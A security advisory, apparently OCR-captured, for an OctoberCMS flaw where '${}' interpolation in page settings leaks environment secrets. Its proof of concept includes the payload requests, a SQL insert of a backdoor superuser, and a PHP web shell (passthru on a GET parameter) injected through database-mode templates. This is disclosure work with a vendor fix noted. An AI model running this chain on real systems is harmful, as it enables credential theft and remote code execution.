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PTT-2026-002 - OctoberCMS -
Exfiltration of PHP Environmental
Values via Unsafe parse_ini_string

CVE-ID: CVE-2026-25125
Credits:

Matei "Mal” Badanoiu and Mihai "hust” Radu of Pentest-Tools.com

Environment:
e October CMS v4.1.5 and v4.1.9

CVSSv3: 4.9 Medium - AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Note: In certain scenarios (e.g. exposed DB), the attacker can leverage this vector to
obtain Remote Code Execution or access external Cloud resources via other extracted
information (e.g. AWS access keys). In case of RCE the CVSS score increases to:

8.8 High - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description:

Due to the unsafe use of the “parse_ini_string” PHP function when parsing October file
settings, an attacker with access to modify/insert these field values can leverage the
“${}" interpolation syntax to exfiltrate the values of sensitive PHP Environmental
variables (e.g. Laravel's "APP_KEY", DB username/password/host, AWS information,
etc.)

Requirements:

In order to perform this exploit an attacker must gain access to the OctoberCMS
application as a user with access to the Editor tool.

Note: This finding is only relevant in environments that have the “cms.safe_mode”
variable set to “true" as attackers may otherwise directly insert PHP code via the Editor.
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Fix:
The vendor patched the vulnerability and the advisory can be found here:
https://github.com/octobercms/october/security/advisories/ GHSA-g6v3-wv4j-x9h

Proof of Concept:

For this example we have created the non-standard role “Editor” that has minimal
access to the Editor tool:

(O Frontend
Permissions
Site Theme
Maintenance Mode General & Select None

Internal Traffic Statistics
Backend @A
Branding & Appearance

Editor Settings

Editor & Select None
53 Team

Administrators

Team Groups

& Mail M

Mail Templates

Mail Configuration

Aa
Mail Branding Administrators Select All

[E) Logs
Event Log
Access Log

Log Settings

Note: Access to any other Editor component besides “Pages” also works, but we will
use “"Pages” in this scenario as it is easier to visually understand the exploit.

Note 2: To prevent the direct insertion of PHP code “cms.safe_mode" is set to “true”.


https://github.com/octobercms/october/security/advisories/GHSA-g6v3-wv4j-x9hg
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Now if we login as the “test” user we can manage pages and insert arbitrary PHP

interpolations via the “Settings” field:

<,

ﬁ Editor

v CMS - Demo

v Pages

DGR ]

> blog
~ WIK
=)
B Wiki Article
B Wiki Docs Demo
B About Page
B AJAX Framework
B Components Demo
B Contac
B Den
= ]2
B Page Not Found (404
B sitemap

v Tailor - Blueprints

r Page (500)

B Search Wiki Articles

Search Wiki Articles l

RL: /wiki/search

ﬁ Editor

v CMS - Demo

v Pages

B Wiki Article

B Wiki Docs Demo
B About Page
B AAXF
B Compo
B Contact Us
B Demons
B) Error Page (500)
B Page Not Found (404
B Sitemap

v Tailor - Blueprints

Components | (@ Info

CMS Page

Title

URL

File Name
CMS Layout

Hidden

Search Wiki Articles

wiki/search

wiki/search.htm

default

IDescnpuon

APP_KEY: ${APP_KEY}
DB_CONNECTION: ${DB_CONNECTION}
DB_HOST: ${DB_HOST}

DB_PORT: ${DB_PORT}

DB_DATABASE: ${DB_DATABASE}
DB_USERNAME: ${DB_USERNAME}

DB _PASSWORD: ${DB_PASSWORD}

Meta

Meta Title

Search - Wiki

IMela Description

AWS_ACCESS_KEY_ID: ${AWS_ACCESS_KEY_ID}
AWS_SECRET_ACCESS_KEY
${AWS_SECRET_ACCESS_KEY}
AWS_DEFAULT_REGION:
${AWS_DEFAULT_REGION}
AWS_BUCKET: ${AWS_BUCKET}

3K
test test
My Account

&1 Sign Out
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The browser/application sends the following HTTP request behind the scenes to the
server:

Request:

POST /admin/editor HTTP/1.1

Host: ptt-tester.local:8888

X-Requested-With: XMLHttpRequest

X-AJAX-HANDLER: onCommand

Content-Type: application/x-www-form-urlencoded
X-CSRF-TOKEN: HTP***TRUNCATED* * *00X

X-SITE-ID: 1

Content-Length: 11307

Origin: http://ptt-tester.local:8888

Cookie: october_session=eyJ***TRUNCATED* **In0% 3D

extension=cms&command=onSaveDocument&documentData % 5Bsettings % 5D % 5Burl % 5D= % 2Fwiki % 2
Fsearch&documentData % 5Bsettings % 5D % 5Blayout % 5SD=default&documentData % 5Bsettings % 5D % 5Bti
tle % 5D=Search %20Wiki% 20Articles&documentData%5Bsettings % 5D % 5Bdescription%5D=APP_KEY
%3A%20%24%7BAPP_KEY %7D%0ADB_CONNECTION%3A%20%24%7BDB_CONNECTION%7D %0
ADB_HOST%3A%20%24%7BDB_HOST %7D%0ADB_PORT %3A %20%24%7BDB_PORT %7D%O0ADB_
DATABASE%3A%20%24%7BDB_DATABASE %7D%0ADB_USERNAME%3A%20%24%7BDB_USERNA
ME%7D%0ADB_PASSWORD%3A %20%24%7BDB_PASSWORD%7D&documentData%5Bsettings % 5D
% 5Bis_hidden%5D=&documentData%5Bsettings % 5D % 5Bmeta_title % 5D=Search%20-%20Wiki&doc
umentData%5Bsettings % 5D %5Bmeta_description%5D=AWS_ACCESS_KEY_ID%3A%20%24%7BAW
S_ACCESS_KEY_ID%7D%0AAWS_SECRET_ACCESS_KEY %3A%20%24%7BAWS_SECRET_ACCESS_K
EY%7D%0AAWS_DEFAULT_REGION%3A%20%24%7BAWS_DEFAULT_REGION%7D%0AAWS_BUCKE
T%3A%20%24%7BAWS_BUCKET %7D&documentData%5Bmarkup % 5D =* * *TRUNCATED * * *&extraD
ata=

Now, to trigger the interpolation and obtain the values of the PHP environmental
variables, the attacker only needs to refresh the page and check the settings again:
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-1
- CMS Page e
v CMS - Demo o
Title Search Wiki Articles o
v Pages
> Bblog URL wiki/search
v 8 wik File Name wiki/search.htm
= CMS Layout default v
W sicle
B Wiki Ar Hidden i
B wiki Docs Demo
Description i APP_KEY: hg2rnkuRScJjcMDYcmqQKjbdve7KIrgu
B About Page

DB_CONNECTION: mysq|

DB_HOST: 172.17.0.3

DB_PORT: 3306

DB_DATABASE: october

DB_USERNAME: october

DB _PASSWORD WakeMeUDWhenSegtemberEnds

B AJAX

Meta

Meta Title Search - Wiki

Meta Description AWS_ ACCESS KEY_ID: AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI

K7MDENG/bPxRfiICYEXAMPLEKEY
AWS_DEFAULT_REGION: us-east-1
AWS_BUCKET: No-Bucket-Just-Bolts

v Tailor - Blueprints

Or alternatively we can perform the following HTTP request to view the exfiltrated
information in the server response:

Request:

POST /admin/editor HTTP/1.1

Host: ptt-tester.local:8888

X-Requested-With: XMLHttpRequest

X-AJAX-HANDLER: onCommand

Content-Type: application/x-www-form-urlencoded
X-CSRF-TOKEN: HTP***TRUNCATED* * *00X

X-SITE-ID: 1

Content-Length: 108

Origin: http://ptt-tester.local:8888

Cookie: october_session=eyJ***TRUNCATED* **In0% 3D

extension=cms&command=onOpenDocument&documentData%5Btype % 5D=cms-page&documentData
%5Bkey % 5D=wiki%2Fsearch.htm
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Response:

HTTP/1.1 200 OK

Date: Fri, 16 Jan 2026 15:48:06 GMT

Server: Apache

X-AJAX-RESPONSE: 1

Cache-Control: no-cache, private

Set-Cookie: october_session=eyJ***TRUNCATED* **In0% 3D; expires=Fri, 16 Jan 2026 17:48:06 GMT;
Max-Age=7200; path=/; httponly; samesite=Ilax
Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Content-Type: application/json
Content-Length: 9832

{"document":{"url":"\/wiki\/search","layout":"default","title":"Search Wiki
Articles","description":"APP_KEY: hq2rnkuRScJjcMDYcmqQKjbdvc7KIr8u\nDB_CONNECTION:
mysql\nDB_HOST: 172.17.0.3\nDB_PORT: 3306\nDB_DATABASE: october\nDB_USERNAME:
october\nDB_PASSWORD: WakeMeUpWhenSeptemberEnds","is_hidden":null,"meta_title":"Search -
Wiki","meta_description":"AWS_ACCESS_KEY_ID:
AKIAIOSFODNNZ7EXAMPLE\nAWS_SECRET_ACCESS_KEY:
wdJalrXUtnFEMI\/K7ZMDENG\/bPxRfiCYEXAMPLEKEY\nAWS_DEFAULT_REGION:
us-east-1\nAWS_BUCKET: No-Bucket-Just-Bolts","markup":"***TRUNCATED* **" "redirect":null}}

From here the attacker can execute multiple attack vectors:

e If the DB is reachable, the attacker may use the password to login and modify
OctoberCMS information resulting in:
o Creation/Elevation of user to Superuser
o Inserting PHP code via DB templates bypassing safe mode
o Denial of service by dropping the DB
e Use the AWS information (if any) to perform AWS specific attacks
e Use the Laravel APP-KEY to perform encryption/decryption/signature attacks
(potential user impersonation via cookies, sign JWTs, etc.)

In this scenario we will consider that the MySQL DB at IP “172.17.0.3" is reachable by the
attacker and that they can use the credentials to connect remotely, demonstrating how
to obtain RCE even with safe_mode activated.
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First we will use the exfiltrated credentials to authenticate to the database and observe
that there exist only 2 users:

$ mysql -h 172.17.0.3 -u october october -p

Enter password:

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 238
Server version: 12.1.2-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2025, Oracle and/or its affiliates

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select * from backend_users;

| id | first_name | last_name | login | email | password | activation
_code | persist_code | reset_password_code | permissions | is_activated | is_superuser | activa
ted_at | last_login | deleted_at | role_id | created_at | updated_at | is_password_expired | password_changed_at

------- e e T S
| admin | admin | admin@localhost.localdomain | $2y$10$Hqor3q9q0@x6TReAJyFwSzuoq6 21tui99MIX2VENLNXKux. | NULL
| NULL | | 1| 1 | NULL
| 2026-01-16 14:53:32 | NULL | 2 | 2021-04-01 16:00:04 | 2026-01-16 15:43:42 | 0 | NULL |
| 14 | test | test | test | test@test.test | $2y$105eWUC6UMhOCSbbDSE1gQVWuUgxNcY3HO.d091z00tUlmKjagccQaPqa | NULL
| $2y$10$epME2Bb1bSdVCIDSrdiP8.1I1ZGS1hIGOWaU41l/vQl9Sndt/GagRfa | NULL | 0 | © | NULL
| 2026-61-16 15:42:01 | NULL 3 | 2026-01-16 15:40:40 | 2026-01-16 15:42:01 | 0 | 2026-01-16 15:41:45

2 rows in set (0.00 sec)

Once connected we can execute the following SQL statement that will insert a new
superuser in the application with a known password:

INSERT INTO ‘backend_users’ (‘id", ‘first_name’, ‘last_name’, ‘login’, ‘email’, ‘password’,
‘activation_code’, ‘persist_code’, ‘reset_password_code’, ‘permissions’, ‘is_activated’, ‘role_id’,
‘activated_at’, ‘last_login’, ‘created_at’, ‘'updated_at’, ‘deleted_at’, ‘is_superuser’) VALUES (13, 'adminX’,
'adminX', 'adminX', 'mal@localhost.localdomain’,
'$2y$10$b/XTIIxMtalugUoHKGWhKeylqgSaQeNr6Py1vBklidxavlekZGP1qa', NULL,
'$2y$10$b/XTIIxMtalugUoHKGWhKeylqSaQeNr6Py1vBklidxavlekZGP1ga', NULL, ", 1, 2, NULL,
'2013-01-01 00:00:00', '2013-01-01 00:00:00", '2013-01-01 00:00:00', NULL, 1);

Note: We need to make sure that the id we choose is not already in use.

Note 2: In this case the BCrypt hash corresponds to the plaintext “admin”.
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Attacker View:

mysql> INSERT INTO ‘backend_users’ ('id‘, “first_name’, "last_name®, ‘login’, ‘email’, ‘password’, ‘activation_code’, ‘persist_code’, ‘reset_pa
ssword_code’, ‘permissions’, ‘is_activated’, ‘role_id", ‘"activated_at’, “last_login’, ‘created_at’, ‘updated_at’, “deleted_at’, 'is_superuser’)
VALUES (13, 'adminX', 'adminX', 'adminX', 'mal@localhost.localdomain', '$2y$10$b/XT1IxMtaIugUoHKGWhKeyIqSaQeNr6PylvBklidxavIekZGP1qa', NULL, '
$2y$105b/XT1IxMtalugUoHKGWhKeyIqSaQeNr6Py1vBk1idxavIekZGP1ga', NULL, "', 1, 2, NULL, '2013-01-01 00:00:00', '2013-01-01 00:00:00', '2013-01-01
00:00:00', NULL, 1);

Query OK, 1 row affected (0.00 sec)

mysql> select * from backend_users;
T B B

+ o= -+ -+
| id | first_name | last_name | login | email | password | activatio
n_code | persist_code | reset_password_code | permissions | is_activated | is_superuser | activ
ated_at | last_login | deleted_at | role_id | created_at | updated_at | is_password_expired | password_changed_at |
R ¥ + cdo- -

- - +- +-- P B -4 -+
| 1| admin | admin | admin | admin@localhost.localdomain | $2y$10$Hqor3q9q0x6TReAJyFw5zuoq6I6ZIdYO21tui99MIX2VENLNXKuX. | NULL
| NULL | NULL | | 1| 1 | NULL
|_2026-01-16_14:53:32 | NUI| | 2 1.2021-04-01_16:00:04 | 2026-01-16_15:43:42 | 0 1 _NULI |
| 13 | adminX | adminX | adminX | mal@localhost.localdomain | $2y$10$b/XT1lIxMtalugUoHKGWhKeyIqSaQeNr6PylvBklidxavIekZGP1ga | NULL
| $2y$105b/XT1IxMtalugUoHKGWhKeyIqSaQeNr6Py1vBk1idxavIekZGP1ga | NULL | | 1| 1 | NULL
| 2013-01-01 00:00:00 | NULL | 2 | 2013-01-01 00:00:00 | 2013-01-01 00:00:00 | ® | NULL |
| 14 ] Test | test | Test | Testdtest.test | $2yS105eWUCbUMNUCSDDDSETGUVIWUGXNCY 3HU. aU9 LzbUTULMKJagccQalPqa | NULL
| $2y$10$epME2Bb1bSdVCIDSrdiP8.11ZGS1hIGOWaU41/vQl9Sndt/GagRfa | NULL | 0 | ® | NULL
| 2026-01-16 15:42:01 | NULL 3 | 2026-01-16 15:40:40 | 2026-01-16 15:42:01 | 0 | 2026-01-16 15:41:45 |

.- +
3 rows in set (0.00 sec)

From here we can proceed to connect to the admin interface of OctoberCMS as the
new user:

Dashboard

adminX adminX

System Dashboard @

My Account

3 Backend Preferences

Online 415 Issues found @ 0

Traffic: Jan 1 - Jan 16, 2026

As we have superuser access we can gain RCE, even if “safe_mode" is set to “true” via
the following action:

e Set the current Theme to “Database Mode" and insert PHP in the DB via the
“‘cms_theme_templates” table
e Install the "Plugin Builder” plugin and modify “Plugin.php” files

In this scenario we will demonstrate how to perform the DB template attack.
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Tools

(O Frontend

Maintenance Mode

With our malicious superuser we will go to “Settings” > “Frontend” > “Site Theme" in
order to edit the properties of the current Theme and set it in “Database Mode":

Demo &y octoner
)emo O« MS theme. Demonstrates the basi pts o ynt-end theming: layouts, f partials
)MPONE ontent blocks, AJAX framework
Internal Traffic Statistics 2 Manage
Backend 2 Edit Pgerﬁes
Branding & Appearance Seed Content
Editor Settings e
Duplicate
SR Team
Find More Then Import
Administrators
Export
Role Permissions
Theme: demo X
Advanced
Parent Theme I
-- no parent -- ™
Iﬂ Database Mode
'] H n n n,
We can then go to the “Editor” component and create a new “Page™:
v CMS - Demo B New page o &

v Pages

> M blog rce
v 8 wiki URL: /rce

B Search Wiki Article: o
Save Settings  [Z] Components

B Wiki Article

gW\k Docs Demo
B About Page
B AJAX Framework
B Components Demo
B Contact Us
B Demonstration
B Error Page (500)
B Page Not Found (404
B sitemap
> Partials
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Because we we turned on “Database Mode", OctoberCMS writes the content of the
theme into the “cms_theme_template” table:

2 $ mysql -h 172.17.0.3 -u october october -p
Enter password:
Reading table information for completion of table and column names

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

1 | demo | pages/rce.htm | title ="
layout = "default"
url = "/rce"
53 | 2026-01-19 12:49:46 | NULL

1 row in set (0.00 sec)

From here we can replace the value of the “content” field in order to contain malicious
PHP code. Here is an example of such an mysql command:

UPDATE cms_theme_templates set content="title="rce"
url = "/rce"

layout="default"

<?php function onlnit(){passthru($_GET[1]);} ?>

RCE' where path="pages/rce.htm";

Attacker View:

UPDATE cms_theme_templates set content='title="rce"
url = "/rce"
layout="default"

<?php function onInit(){passthru($_CET[1]);} ?>

'> RCE' where path="pages/rce.htm";
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: ©

mysql> select * from cms_theme_templates;
e

-+-- -+
| id | source | path | content | file_size

| updated_at | deleted_at
R $o----

4e-
| 1| demo | pages/rce.htm | title="rce"

url = "/rce"

layout="default"

<?php function onInit(){passthru($_GET[1]);} ?>

RCE | 53 | 2026-01-19 12:49:46 | NULL

1 row in set (0.01 sec)
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With the modifications to the DB submitted we can refresh the “Editor” page in order to
see that indeed the changes have propagated and the malicious PHP code is present in
the HTM page:

v CMS - Demo B rce v e}

v Pages

> M blog rce

v 8 wiki URL: /rce
B Search Wiki Articles .

{ Save v © Preview { Settings [£] Components (D Info ~
B Wiki Article
B wiki Docs Demo
B About Page

B AJAX Framework
B Components Demo
B Contact Us

B Demonstration

B Error Page (500)
g hexor

gPaie Not Found (404)

B Sitemap

To trigger the RCE, the attacker simply accesses the “/rce" page and specifies the
desired system command in the GET parameter “1". In this case we will execute the
Linux “id" command:

<« C O & NotSecure | ptt-tester.local > @ signin & =

Blog Wiki  About  Contact  Components Demo

From vulnerability scans to proof, Pentest-Tools.com gives 2,000+ security teams in 119 countries the
speed, accuracy, and coverage to confidently validate and mitigate risks across their infrastructure
(network, cloud, web apps, APIs).
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